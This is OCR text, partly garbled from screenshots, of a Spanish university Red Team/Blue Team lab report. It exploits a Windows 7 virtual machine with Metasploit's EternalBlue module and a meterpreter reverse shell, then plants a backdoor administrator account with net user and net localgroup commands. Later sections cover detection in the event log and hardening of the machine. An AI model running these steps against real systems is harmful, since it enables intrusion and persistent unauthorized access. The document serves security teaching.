exploit/windows/smb/ms17_010_eternalblue 2017-03-14 avera s MS17-01@ tternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-01@ EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execut

auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17501@ cternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Exe

cution
3 xiliary/scanner/smb/smb_ms17_010 normal MS17=01@ sMB RCE Detection

loit/windows/smb/smb_doublepulsar_r 2017-04-14 Yes SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example
msf6 > info @

MS17-010 EternalBlue SMB Remote Windows K
loit/windows/smb/ms17_010_eternalblue
: Windows

Privileged: Yes
License: Metasploit Framework License (BS
Rank: Average
Disclosed: 2017-03-14

Provided by:
Equation Group
Shadow Brokers
sleepya
Sean Dillon <sean.dillonarisksense.com>

(9]

& o | E iR G @ crepeRecHa
Fuente: Propia (2023)

Info O
Evidencia

Informacioén del Id O

llustraciéon 19. Comando info O

P Kali Linux [Corriendo] - Oracle VM VirtualBex -
Archivo  Maquina Entrada

Il

Ver Dispositivos  Ayuda

Terminal nro. 1
Archivo Acciones Editar Vista Ayuda

info @

Name: MS17-010 EternalBlue SMB Remote Windows Kermel Pool Corruption

Module: exploit/ v / ©10_eternalblue
tfor ind,

cense (BSD)

ongrisksens
i isksens:

& 5 Bl )@ @ creomeca
Fuente: Propia (2023)
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Use O
Evidencia

Se selecciona el Id 0. No se configura el Payload, se toma el que viene configurado
por defecto.

llustraciéon 20. Comando use 0

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox -
Archivo  Maquina Dispositivos  Ayuda

B omP O] 2 3 4

Ver Entrada

Terminal nro. 1

Archivo Acciones Editar Vista Ayuda

msf6 use 0
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
ms ) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT . The target port (TCP)

SMBDomain (optional) The Windows domain to use for authentication. Only affects Windows Se 2008 R2, Windows 7, Windows Embedd
ed Standard 7 target machines.

SMBPass (Optional) The password for the specified username

SMBUser (Optional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded S
tandard 7 target machines.

VERIFY_TARGET true Check if remote 0S matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7
target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.22 The listen address (an interface may be specified)
LPORT Lhbb The listen port

Exploit target:
Id Name

Automatic Target

@ o B Gl @ creperecHa
Fuente: Propia (2023)

set rhosts 10.0.2.21 y luego run (ejejcutar)
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llustracién 21. Comando set rhosts 10.0.2.21 y run

[P Kali Linux [Corriendo] - Oracle VM VirtualBox - X
Archivo Maquina Ver Entrada Dispositivos  Ayuda

B EmaPoF]|1 2 3 4]c ) an7ss|ac

Terminal nro. 1

Archivo Acciones Editar Vista Ayuda

smb_ms1 <
BLE to 7 s Pack 1 x6&4 (64-bit)

ree hole adjacent to Sl

ssfully (@xc

1 87:51:44 -0500

& S |5 8] @ e perecHA
Fuente: Propia (2023)

En el siguiente paso se explotan las vulnerabilidades a través de la sesion abierta
de meterpreter lo cual da acceso la maquina remota Win7-SE2020-X64 (Win 7 64
bits) y se crea un usuario administrador llamado sergiovalero y se ejecuta el archivo
winse20w0.exe

Comandos de consola utilizados en el siguiente bloque.

Meterpreter>Shell
net user net user sergiovalero/add
net localgroup administradores sergiovalero /add

Evidencia

Se crea el usuario sergiovalero y se le dan privilegios de administrador
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llustracién 22. llustracién 14. Creacion de usuario administrador sergiovalero

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox - X
Archivo  Maguina Ver Entrada  Dispositivos  Ayuda

BEeompkor-:

Terminal nro. 1

Archivo Acciones Editar Vista Ayuda

es sergiovalero /a

1

une o mes errores.

& & | B i 8] @ & cTre DERECHA
Fuente: Propia (2023)

A continuacion, se valida la creacion del usuario sergiovalero como administrador
en la maquina remota Win7-SE2020-X64 (Win 7 64 bits).

llustracion 23. Validacion creacion usuario administrador en (Win 7 64 bits)

W] WinT-5E2020-X64 [Corriendo] - Oracle VM VirtualBox -
Archivo  Maguina Ver Entrada Disposivos  Ayuda

=]
X

=l =

@Qv‘ﬁf‘« Cuentas de usuario » Administrar cuentas = | #3 || Buscaren et Panel de control o

Elegir la cuenta que desee cambiar

usuario
Administrador

sergiovalero
Administrador

Invitado
La cuentz de invitado esta desactivada

Crear una nueva cuenta

;Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar

# Configurar Control parental

Irala pégina principal de Cuentas de usuario

o & & 1B i B @ @) cre oEreca
Fuente: Propia (2023)
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Se accede en la maquina remota Win7-SE2020-X64 (Win 7 64 bits), directorio
C:\Users\semi>

Se ejecuta el archivo winse20w0.exe

Evidencia

llustracién 24. Corriendo el archivo C:\Users\semi>winse20wO0.exe

A Kali Linux [C do] - Oracle VM VirtualBox - x

203 4|E

INAL ABIERTA Y A DISTANCIA UNAD
SEGURIDAD INFORMATICA
)

evidencia y presione ENTER para salir.

& o |[E) iR B @ @ cre oerecHA
Fuente: Propia (2023)

2.5.4 Analisis y reporte

En la siguiente etapa se describe la informacién que evidencia la vulnerabilidad de
la Maquina remota Win7-SE2020-X64 (Win 7 64 bits).

Analisis de la fuga de informacion 11 de marzo de 2023

Maquina remota Win7-SE2020-X64 (Win 7 64 bits).

Sistema Operativo Windows 7 Professional 7601 Service Pack 1 x64 (64-bit).
Ultima actualizacion se realiz el 26/06/2020 y fue Revision para Microsoft
Windows (KB2534111).

e Sistema Operativo Win7-SE2020-X64 (Win 7 64 bits), con SMBvl
Vulnerabilidad de ejecucion remota de codigo en servidores Microsoft SMBv1
(ms17-010) CVE-2017-0143
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2.5.5Herramientas utilizadas en el andlisis de vulnerabilidades

A continuacion, se expone las herramientas utilizadas en el analisis de
vulnerabilidad de la Maquina remota Win7-SE2020-X64 (Win 7 64 bits).

Se utilizé6 una herramienta llamada nmap, esta realiza un escaneo de la red y
devuelve una lista de maquinas activas, puertos abiertos, y sistemas operativos. El
puerto abierto es el 445/tcp el servicio microsoft-ds.

2.5.6 Explicacién paso a paso del ataque

En los siguientes parrafos se explicara la forma en que se realizo el ataque y como
este afectd la maquina remota Win7-SE2020-X64 (Win 7 64 bits).

Validamos que maquinas se estan activas en la red y cuales se comunican entre si.
Para eso hacemos ping desde Kali Linux (IP 10.0.2.22) a Win7-SE2020-X64 (Win 7
64 bits) (IP 10.0.2.21) y de Win7-SE2020-X64 (Win 7 64 bits) (IP 10.0.2.21) a Kali
Linux (IP 10.0.2.22). una vez establecido que, si hay comunicacién, se procede a
ejecutar la herramienta nmap, una vez se accede a la herramienta se digita a través
del comando de consola nmap —sP 10.0.2.0/24 para determinar las ip activas en la
red. Una vez se determina que la maquina Win7-SE2020-X64 (Win 7 64 bits) (IP
10.0.2.21) se encuentra activa en la red con la herramienta nmap, se procede a
escanear las vulnerabilidades de esta maquina por lo cual utilizaremos el comando
de consola sudo nmap 10.0.2.21 -script vuln. Se evidencia la vulnerabilidad en la
Win7-SE2020-X64 (Win 7 64 bits) la cuales es SMBv1 uan vulnerabilidad de
ejecucion remota de cddigo en servidores Microsoft SMBv1 (ms17-010) CVE-2017-
0143 con un factor de riesgo alto. Una vez se establecen las vulnerabilidades de la
maquina que se desea atacar, se procede a ejecutar la herramienta metasploit con
la cual se pretende acceder a la maquina Win7-SE2020-X64 (Win 7 64 bits)
explotando las vulnerabilidades que presenta la maquina. Una vez se ingreso a la
herramienta metasploit, se digita el comando de consola search ms17-010 para
identificar el exploit, una vez identificado el exploit se selecciona con el comando de
consola use 0 para iniciar la configuracién del script. No se configura el payload, se
toma el que viene configurado por defecto. Una vez seleccionado se digita el
comando de consola show options para determinar las opciones que son requeridas
para la explotacion de la vulnerabilidad. Se digita el comando de consola set rhosts
10.0.2.21 como parametro requerido y se procede a digital luego run para ejecutar
el exploit. Ejecutado el exploit se abre una sesion de meterpreter en la maquina
remota Win7-SE2020-X64 (Win 7 64 bits). Abierta la sesion meterpreter, se digita el
comando de consola shell y se accede a la consola de Windows del equipo Win7-
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SE2020-X64 (Win 7 64 bits), C:\Windows\system32> una vez alli se digital el
comando net user net user sergiovalero/add, el cual creard el nuevo usuario
sergiovalero, una vez creado se asignan privilegios de administrador digitando el
comando net localgroup administradores sergiovalero /add. Por dltimo, se accede a
la maquina atacada Win7-SE2020-X64 (Win 7 64 bits) y se valida la creacion del
nuevo usuario con privilegios de administrador. En este punto ya se complet6 el
objetivo el cual era acceder a la maquina atacada Win7-SE2020-X64 (Win 7 64 bits)
desde la maquina Kali Linux del atacante, conocer las vulnerabilidades y posterior
explotacion de la misma para acceder a ella y crear un usuario administrador
sergivalero.

A continuacién, se genera una infografia para evidenciar los pasos en el ataque.

llustracion 25. Flujo de ataque Red Team

_ FLUJO DE ATAQUE EQUIPO RED TEAM
Seminario especializado - Equipos Estrategicos en Ciberseguridad: Red Team & Blue Team

Win7-SE2020-X64
Exploracién de vulnerabilidades (Win7 64 bits)

Ejecucion exploit en la maquina atacada

Windows 7

Reverse conexion meterpreter

Crea usuario en la maquina atacada
IP100.2.22

Herramientas utilizadas

IP10.0.2.21

L L v glov Puerto abierto 445/TCP
Valida usuario sergiovalero en la maquina atacada

Vulnerabilida
ms17-010 CVE-2017-0143

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA - UNAD
ESPECIALIZACION EN SEGURIDAD INFORMATICA 2024

Fuente: Propia (2023)

nmap - metasploit
meterpreter - shell

48



2.6 CONTENCION DE ATAQUES

A continuacion, se desarrollara la Etapa 4 — Contencion de ataques informaticos,
cuarta fase del Seminario Especializado: Equipos Estratégicos en Ciberseguridad:
Red Team & Blue Team.

Anélisis de anexos

Anexo 5 — situaciéon problema — analisis Blue Team.

A continuacion, se transcribe el texto entregado por el curso de la situacion
planteada del problema para su posterior analisis en el desarrollo de la actividad:

“WhiteHouse Security solicita a sus integrantes de Blueteam contener y sacar
adelante un ataque informético el cual se esta produciendo en tiempo real. La
maquina que se debe analizar es la Windows 7 X64 analizada en la actividad
anterior. La organizacién requiere un andlisis exhaustivo de lo que esté sucediendo
a nivel técnico “sistema operativo, red”, con la informacién recolectada se espera
que dentro de su grado de experticia usted como miembro de un equipo Blue team
logre contener el ataque para evitar que se genere mas dafio a nivel interno de la
organizacion. WhiteHose Security le informa que no existe presupuesto para hacer
uso de herramientas de pago, por ende, el experto en Ciberseguridad debera optar
por una serie de herramientas minimo con licencia GPL.”

Para desarrollar el presente informe, se presentan las maquinas activas en el banco
de trabajo con las OVA de Windows7 X64 suministradas por el curso, con sus IP.

Win7-SE2020-X64 (Win 7 64 bits) IP: 10.0.2.21 en la maquina Windows 7 64 bits
KALI LINUX IP: 10.0.2.22 en la maquina Kali Linux

2.6.1Acciones para contener un ataque en tiempo real.

¢, Qué serialo primero que indagaria y haria si llegara a encontrarse un ataque
en tiempo real?
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Se procede a realizar un andlisis en tiempo real del equipo, los equipos y/o la red
atacada, lo cual seria el primero de una serie de pasos para validar el estado del

ataque.

Se inicia con la validacion del estado del firewall del equipo que esta siendo atacado

para evaluar su configuracion y determinar si el sistema se encuentra protegido de
conexiones remotas no deseadas.

llustracién 26. Estado Firewall (Win7 64 bits)

] Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina_ Ver Entrada  Dispositivos  Ayuda

@u-\ﬂ » Panel de control » Todos los elementos de Panel de control » Firewall de Windows

Ventana principal del Panel de
control

Permitir un programa o una
caracteristica a través de
Firewall de Windows

&) Cambiar la configuracion de
notificaciones

[#) Activar o desactivar Firewall de
Windows

) Restaurar valores
predeterminados

) Configuracitn avanzada

Selucién de problemas de red

Vea también
Centro de actividades

Centro de redes y recursos
compartidos

Ayude a proteger su equipo con Firewall de Windows

-[o][ s

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equipo a

través de Internet o de una red.

;Cémo me ayuda un firewall a proteger mi equipo?
$Qué son las ubicaciones de red?
Actualizar configuracién de firewall

Firewall de Windows no esté usando la
configuracién recomendada para proteger el

equipo.

4Cusl e la configuracién recomendada?

l ‘l;!,‘ Redes domeésticas o de trabajo (privadas)

. ‘@-‘ Redes publicas

[ ) Usar Ia configuracién recomendada

No conectado (v)

Conectado (»)

Redes en lugares puiblicos como aeropuertos o cafeterias

Estado de Firewall de Windows:

Conexiones entrantes:

Redes publicas activas:

Estado de notificacién:

Desactivado

Bloquear todas las conexiones a los programas que
no estén en la lista de programas permitidos

| Red 3

Notificarme cuando Firewall de Windows bloquee un
nueve pregrama

ERCIE]

Fuente: Propia (2023)

075 am. | |
B WD s |
ROk F e BRG] @ & omecta
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llustracién 27. llustracion 2. Detalle Firewall (Win7 64 bits)

] Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox
Archivo  Maguina  Ver Entrada  Dispositvos _ Ayuda

GO

» Panel de control » Todos los elementos de Panel de control b Firewall de Windows b Personalizar configuracion ~ [ 43 | Buscaren et Panel de control 2|

Personalizar la configuracién de cada tipo de red
Puede modificar la configuracién del firewall para cada tipe de ubicacién de red que use.
(Qué son las ubicaciones de red?
Cenfiguracién de ubicacién de red deméstica o del trabajo (privada)
@ © Activar Firewall de Windows
["]Bloquear todas las conexiones entrantes, incluidas las de la lista de programas permitidos

[7] Notificarme cuando Firewall de Windows bloquee un nuevo programa
@ © Desactivar Firewall de Windows (no recomendado)

Configuracién de ubicacién de red piblica
[ ©) Activar Firewall de Windows
[] Bloquear todas las conexiones entrantes, incluidas las de Ia lista de programas permitidos

[7] Notificarme cuando Firewall de Windows bloquee un nueve programa

@ @ Desactivar Firewall de Windows (no recomendado)

@@ EiEE)E e omecn

Fuente: Propia (2023)

Se continua con la validacion del estado del Windows Defender en el equipo que
esta siendo atacado.

llustracién 28. Windows Defender (Win7 64 bits)

E Win7-SE2020-X64 [Corriendo] - Qracle VM VirtualBox - X
Archivo  Méquina Ver Entrada Dispositivos  Ayuda
= le=]

~ [ 43| [ Buscar en et Panel de control 2]

Verpor: Iconos grandes

OO [ » Panel decontrol » Todos los elemel

Ajustar la configuracion del equipo

D

cialmente n

E‘ Administracion del color Centro de accesibilidad
Conexién de RemoteApp y

el software perjudicial o no deseado ms reciente e sylte en lines I ranciss pars solucionsr pr
Escritorio

impiden que se ejecute en el equipo.

Los defniciones actuslizadas permiten que se detecte ‘

Centro de actividades

Configuracién regional y
de idioma

Dispositivos e impresoras

Fecha y hora Grupo Hogar

Herramientas
administrativas

Opciones de carpeta

Opciones de energia Personalizacién

Programas

. Estado Reproduccién automética
predeterminados

Ultimo examen: No disponible

Programacién de examenes: Diariamente alrededor de 02:00 a.m. (Examen répido)
Proteccion entiempo real:  Activado

Definiciones de anti Version 1951910 creada el 18/11/2010 a las 07:45 p.m.
spyware:

Sistema Teclado

i

@ Teléfono y médem

dadPhhse=

Windows Update

HE@ 8 ar DERECHA!

@om@gr

Fuente: Propia (2023)
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Se contindan evaluando los dispositivos que se encuentran conectados a la red.
Comandos de consola utilizados en el siguiente bloque en Kali Linux.

sudo nmap -sN 10.0.2.0/24

llustracion 29. Equipos conectados a la RED 10.0.2.0/24

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox - x
Archivo  Maguina  Ver Entrada  Dispositivos  Ayuda

ﬁ‘-.e‘\Eﬁﬂ'{ 2 3 4|>

sergiovalero@kali: ~

Archivo Acciones Editar Vista Ayuda

) at 2023-03-22 @9:51 -05

tualBox virtual NIC)

in ignored s

s up) scanned in 10.08 seconds

& & |[E) iR B) @ @ cre oerecHa
Fuente: Propia (2023)

A continuacién, se relacionan los puertos abiertos y servicios activos en la maquina
Win7-SE2020-X64 (Win 7 64 bits) IP: 10.0.2.21

Comandos de consola utilizados en el siguiente bloque en Kali Linux

sudo nmap -A 10.0.2.21

52



llustracién 30. Puertos abiertos y servicios activos maquina (Win7 64 bits)
(]

HeomPoo-|

sergiovalero@kali: ~

Archivo Acciones Editar Vista Ayuda

ERVIC
msrpc
netbios-

open Microsoft HTTPAPI httpd
open Microsoft HTTPAPI httpd

soft-HTTPAP
msrpc Microsoft
msTpc ndow:
msrpc 3 ndow:
msrpc Windo
msrp c ndows RPC
f ndows RPC
rtual
general
Microsoft Windo
:microsoft:windows_server_2008::spl cpe:/o:microsoft:windows_server_2

7 SP0 - S| s r d 5 r 200 ndows 8 ndows 8.1 Update 1
0. wWindow

2h53m12s, median:

s m>, N S MAC 279 (Oracle VirtualBox v NIC)

7 Professional 6

@ e Bl )@ @ cre oerecria
Fuente: Propia (2023)

llustracién 31. Puertos abiertos y servicios activos maquina (Win7 64 bits)

H: Kali Linux [Corriendo] - Oracle VM VirtualBox - X
Entrada  Dispositivos

S omPor-|

Archivo  Méquina  Ver Ayuda

sergiovalero@kali: ~
Archivo Acciones Editar Vista Ayuda
ails: Micr 7S 5 r 200 d Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance:
rvice Info: Ho
ost script r

_clock-skew: mea 1h40mal
_nbstat: NetBIOS name: PC2 N ) : racle VirtualBox virtual NIC)

0s C
Computer name
NetBIOS computer name:

supported

I
]
|
|
|
|
|
|
|
I
|
|
|
]
|
|
| disabled (dangerous, but default)
|

|

]

enabled but not uired

TRACEROUTE

HOP RTT

0S and Service detection performed. Please report any incorrect results at https

Nmap done: 1 IP address (1 host up) scanned in 190.79 seconds

GO @@ 6 G @ cmre oerecHa
Fuente: Propia (2023)

El proximo paso es identificar la configuraciéon de la red en la maquina Win7-
SE2020-X64 (Win7 64 bits)
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llustracién 32. Configuracion de la red en la maquina (Win7 64 bits)

T p— W @ D

Nueva Afiadir =~ Configuracidn Descartar Iniciar

. ESISeg.DB [=] General [=] previsualizacion
Nombre: Win7-SE2020-X64
[0 ] Win7-SE2020-X64 — Sistema operativo:  Windows 7 (54-bit)
Vi E: Grupos: E51 Seg. DB
Sistema

[(SyL] Win 7 X86 - Estratificacion {2} Win7-SE2020-X64 - Configuracion
(7] @ Apagada

] ceners Red
EF™ Kali Linux
= Correndo ] seens

Adaptador 1 Adsptador2  Adsptador 3 | Adsptador 4

o Win7-SE2020-X64

RS win-se2020 [ Forteta [ Enable Network Adspter
@ #pagada ) smacenamints Conectado a: [Red NAT v
Nombre: | NatNetwork ~
@3 fude ¥ Advanced
& e Tipo de adaptador: | Intel PRO/1000 MT Desktop (825408M) v
@ Puertos serie Modo promiscua: | Permitir todo ~ F
& = Direccién MAC: [0800279280C0 | @

Cable Connected L
a Carpetas compartidas

[ tnterfor de usuerio

o= | e

Trnguno-

Fuente: Propia (2023)

El siguiente paso es validar si se encuentra instalado un antivirus en la maquina

Win7-SE2020-X64 (Win7 64 bits). Lo cual es evidente que no se evidencia sistema
antivirus instalado.

llustracion 33. Maquina (Win7 64 bits) sin Antivirus

ﬁ Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox

- X
Archivo Miguina  Ver Entrada  Dispositvos  Ayuda
[=] & =]
-
@\Jll + Panel de control b Todos los elementos de Panel de control  Programas y caracteristicas [ 4| [ Buscar Programas y coracteristicas 9|
Ventana principal del Panel de . .
control Desinstalar o cambiar un programa
Jer sctuaizaciones i Para desinstalar un programa, seleccionelo en la lista y después haga clic en Desinstalar, Cambiar o Reparar,
) Activar o desactivar las
caracteristicas de Windows -
Organizar = - @
Nombre ‘ Editor Seinstalo el Tamafio Version
[B27-Zip 19.00 (x64) Igor Paviov 26/06/2020 496 MB  19.00
@ Mozilla Firefox (64 es-ES) Mozilla 11/03/2023 216 MB 11001
{9 Mozilla Maintenance Service Mozilla 26/06/2020 38KB 7701
[ Oracle VM VirtualBox Guest Additions 6.1.10 Oracle Corporation 26/06/2020 61100

Programas actualmente instalados Tamafio total: 221 MB
Ky ,
{5

& o ﬁﬁ@@mnwm
Fuente: Propia (2023)
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Un paso importante es validar la actualizacion del sistema operativo en la maquina
Win7-SE2020-X64 (Win7 64 bits), el cual nos informara si se encuentra eexpuesto
a vulnerabilidades y fallos de seguridad recientes. Se evidencia que no se encuentra
actualizado y su vulnerabilidad es evidente.

Se aclara que Windows 7 no tiene soporte desde el 14 de enero de 2020, fecha en
la que finalizé por lo tanto este sistema operativo queda expuesto y vulnerable a
virus y malware.

llustracion 34. Sistema Operativo (Win7 64 bits) desactualizado.

] Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox - X
Archivo  Maguina  Ver Entrada  Dispositivos  Ayuda

= e ==
@‘O-\ﬁ; » Panel de control » Todos los elementos de Panel de control » Programas y caracteristicas ¢ Actualizaciones instaladas + [ 4| [ Buscar Actuatizaciones instoladas 2|
Vent cipal del Panel de . -
el Desinstalar una actualizacién
centrol
Para desinstalar una sctualizacién, selecciénela en s lists y después haga clic en Desinstalar o Cambiar.
Desinstalar un programa
) Activa fvar las
cteristicas de Wind .
caracteristicas de Windows — =+ ®
Nembre Seinstald el
Microsoft Windaws (2) -
[ Revisién para Microsoft Windows (KB2534111) 26/06/2020
[ Actualizar para Microsoft Windows (KB976902) 20/11/2010

10am. | |
2037203 |

(=S (O
BOokI e B ] @ @ cr ormecia

Fuente: Propia (2023)

A continuacion, se validan que usuarios activos que se encuentran en la maquina
Win7-SE2020-X64 (Win7 64 bits)
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llustracién 35. Usuarios activos en (Win7 64 bits)

8 Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox
Archivo  Méquna  Ver Entrada  Dispositivos  Ayuda

sergiovalero usuano

. Windows 7 professional

@ h@e B a)® @ omecn

Fuente: Propia (2023)

A continuacion, se analiza el Visor de eventos en la maquina Win7-SE2020-X64
(Win7 64 bits), el cual muestra la creacion de un usuario segiovalero con privilegios
de administrador, el cual no esté autorizado su creacion.

llustracion 36. Usuario segiovalero administrador (Win7 64 bits)

ﬁ Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox

{2 Visor de eventos (local)
1 [ Vistss personslizadas

Seguridad

5] Eventos reenviados @, Auditoria correcta

- x
Archivo Méquina  Ver Entrada  Dispositvos  Ayuda
ekl
Archive  Accion  Ver  Ayuda
o

4 & Registros de Windlows Palabras clave Fechay hora Origen Id... Categoris dela tarea | | Seguridad -
7] Aplicacion @, Auditoria correcta . Auditorfa de seguridad de Microsoft Windows. Administracién de grupos de st 5 Abrir registro guardado...
] Sequridad Auditoria correcta . Auditoria de sequridad de Microsoft Windews. Administracion de grupos de s W Crearvists personalizada..
Instalacién @, Auditoria correcta . Auditoria de sequridad de Microsoft Windows. 4732 Administracién de grupos de s¢__
9/ grupt
- Importar vista personalizada...
] sistema @ Auditoria correcta 11/03/2023 08:2546 a.m.  Auditoria de seguridad de Microsoft Windows, 4732

Administracion de grupos de st

11/03/2023 08:25:46 a.m.  Auditoria de seguridad de Microsoft Windows. 4738 Administracién de cuentas de t Vaciar registro.
4 U Registros de aplicaciones y 5| | @, Auditoria correcta 11/03/2023 08:25:46 am.  Auditoria de seguridad de Microsoft Windews. 4722 Administracién de cuentas de . T Filtrar registro actual..
2 Suscripciones @, Auditoria correcta 11/03/2023 08:2546 a.m.  Auditoria de seguridad de Microsoft Windows, 4720 Administracion de cuentas de | | (7] propiedades
@, Auditoria correcta 11/03/2023 08:25:46 a.m.  Auditoria de seguridad de Microsoft Windows. 4728  Administracién de grupes de st 2 Buscor.
A, Auditoria correcta 11/03/2023 08:02:55 am.  Auditoria de seguridad de Microsoft Windows. 4672 Inicio de sesién especial
@, Auditoria correcta 11/03/2023 08:02:55 am.  Auditoria de seguridad de Microsoft Windows. 4624 Inicio de sesién I Guardartodos os eventos como...
Q‘ Auditoria correcta 11/03/2023 08:07:55 a.m. _ Auditoria de ceauridad de Microcoft Windows. 4672 Tnicio de cecifn p:n‘srlzl 4 Adjuntar tarea 2 este registro...
« i v
Ver >
Evento 4734, Auditoria de seguridad de Microsoft Windows. x . X
@ Actualizar
Ayuda >
@ Vista descriptiva © Vista XML Bl S SN
- [E] Propiedades de evento
+ System |E ] Adjuntar tarea s este evento...
- EventData [y Copiar 3
TargetUserName sergiovalero Jed Guardar eventos seleccionados...
TargetD. PC202006 i |a Actualizar
- - T T T TTTTITTTTT rnThTTn mhrmme e et Ayuda »
“ [ »

Acciones

= 3
EERE T

Fuente: Propia (2023)
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¢Teniendo en cuenta el ataque ejecutado en el ejercicio de Red team qué
medidas de hardening'® propondria para que el ataque no se repita?

A continuacién, se proponen los siguientes métodos para endurecer (proteger) el
sistema y de esta forma minimizar las amenazas y/o contenerlas al maximo.

Cerrar puertos que no sean prioridad 0 no se encuentren en uso.

Se habilita el firewall en la maquina Win7-SE2020-X64 (Win7 64 bits) e instalar y
configurar uno de terceros para mejorar la proteccién en la primera linea de defensa
entre el flujo de informacién entrante y saliente de la red de la organizacion.

llustracion 37. Firewall habilitado en la maquina (Win7 64 bits)

ﬂ Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox = X

Archivo  Maquina Ver Entrada  Dispositivos  Ayuda
o o )
ol

@'v-\ﬂ » Panel de control » Todos los elementos de Panel de control » Firewall de Windows » Personalizar configuracién [ 42 ||[ Buscaren et Panet de contro

Archivo Edicién Ver Herramientas Ayuda

Personalizar la configuracion de cada tipo de red

onfiguracion del firewall para cada tipo de ubicacién de red que use.

{Qué de red?
Config i6n de red doméstica o del trabajo (privada)
@ oA 1l de Window:
[7] Bloquear todas las conexiones entrantes, incluidas las de la lista de programas permitidos
7] Notificarme cuando Firewall de Windows bloquee un nuevo programa
9 © Desactivar Firewall de Windows (no recomendado)

Configuracién de ubicacién de red publica
@ © Activar Firewall de Windows
[7] Bloquear todas las conexiones entrantes, incluidas las de la lista de programas permitidos
7] Notificarme cuando Firewall de Windows bloguee un nuevo programa

wsz Desactivar Firewall de Windows (no recomendado)

P

S w0 0519p.m. | |

= o5 |
@B Oh&e B g)® @ creomecHa

Fuente: Propia (20235

Deshabilitar servicios que no se encuentren en uso o eliminarlos segun la validacion
del administrador de seguridad de la red.

Actualizar el sistema operativo en la maquina Win7-SE2020-X64 (Win7 64 bits), el
cual no ayudara a blindar las vulnerabilidades y fallos de seguridad a los que se
encuentre expuesto el sistema.

16 SICET (2022) Hardening Recuperado de https://www.ciset.es/publicaciones/blog/746-hardening
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llustracién 38. Actualizacion SO en la maquina (Win7 64 bits)

E Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox - X

Archivo Maquina Ver Entrada Dispositivos  Ayuda
[ e e
w[E] » Panel de control » Todos los elementos de Panel de control + Windows Update - Buscar en el Panel de control
] v Panel de I » Todos los el de Panel ds I+ Windows Upd: 4 Panel d
Archivo  Edicién Ver Hemamientas Ayuda
Ventana principal del Panel de . ®
el ‘Windows Update
Buscar sctualizaciones
Cambiar configuracién [@ Descargar e instalar actualizaciones para el equipo
Ver historial de actualizaci A
er historial de actualizaciones 16 ; . 167 NN
Restaurar actualizaciones estan disponibles seleccionadals), 1.409,2 MB - 1.409,3 MB
acultas 3
4 sctualizaciones opcionales estin
Actualizaciones: preguntas disponibles
mas frecuentes.
Instalar actualizacienes

Busqueda mis reciente de actualizaciones: Hoy 2 l25 09:53 a.m.

Se instalaron las actualizaciones: Nunca

Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacion

Vea también ! Programas y caracteristicas
Actualizaciones instaladas ‘ & Windows Update ‘

005t am. | |

o ) G
I3 D 23/03/203 |

@0 e B P & e cmecia

Fuente: Propia (2023)

llustracién 39. llustracién 13. Actualizando SO en la maquina (Win7 64 bits)

W Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox X
Archivo  Méquina Ver Entrada Dispositivos  Ayuda

Configurando las actualizaciones de Windows
o 98% completado
No apague el equipo.

. Windows 7/ Professional

@ 0@e EiRoleE s

Fuente: Propia (2023)

Eliminar usuario administrador creado en el ataque a la maquina Win7-SE2020-X64
(Win7 64 bits).
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llustracion 40. Eliminar usuario administrador en la maquina (Win7 64 bits).

E Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox o= X

o Méquina Ver Entrada Dispositivos  Ayuda

Archivo Edicion Ver Herramientas Ayuda

[8 Panel de control » Todos los elementos de Panel de control » Cuentas de usuario » Administrar cuentas » Cambiar una cuenta [ 42| Buscar en el Panel de control

Realizar cambios en la cuenta de sergiovalero

Cambiar el nombre de cuenta

Crear una contrasefia sergiovalero

Cambiar la imagen Administrador

Configurar Control parental
Cambiar el tipo de cuenta
Eliminar la cuenta

Administrar otra cuenta

Fuente: Propia (2023)

llustracion 41. Usuario eliminado en la maquina (Win7 64 bits)

| Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox - X
Archivo  Méquina Ver Entrada _ Dispositvos _ Ayuda

» Panel de control » Todos los elementos de Panel de control » Cuentas de usuario » Administrar cuentas

v‘l 4| | Buscar en el Panel de control
i

R O S O

Elegir la cuenta que desee cambiar

usuario
Administrador

Invitado
La cuenta de invitado ests desactivada

Crear una nueva cuenta

Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
@ Configurar Control parental

Ir 2 la pagina principal de Cuentas de usuario

]

@On@e Bl omeca

Fuente: Propia (2023)
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llustracién 42. Instalacion Antivirus en la maquina (Win7 64 bits)

ﬁ Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox o X
Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

A‘i‘
H B

Firefox

(y

Equipo

M & Avast Free Antivirus Ocultar
VicrosertEdge

Instalando
Avast Free Antivirus...

50%

No apague el equipo

=
i 0551 pm.
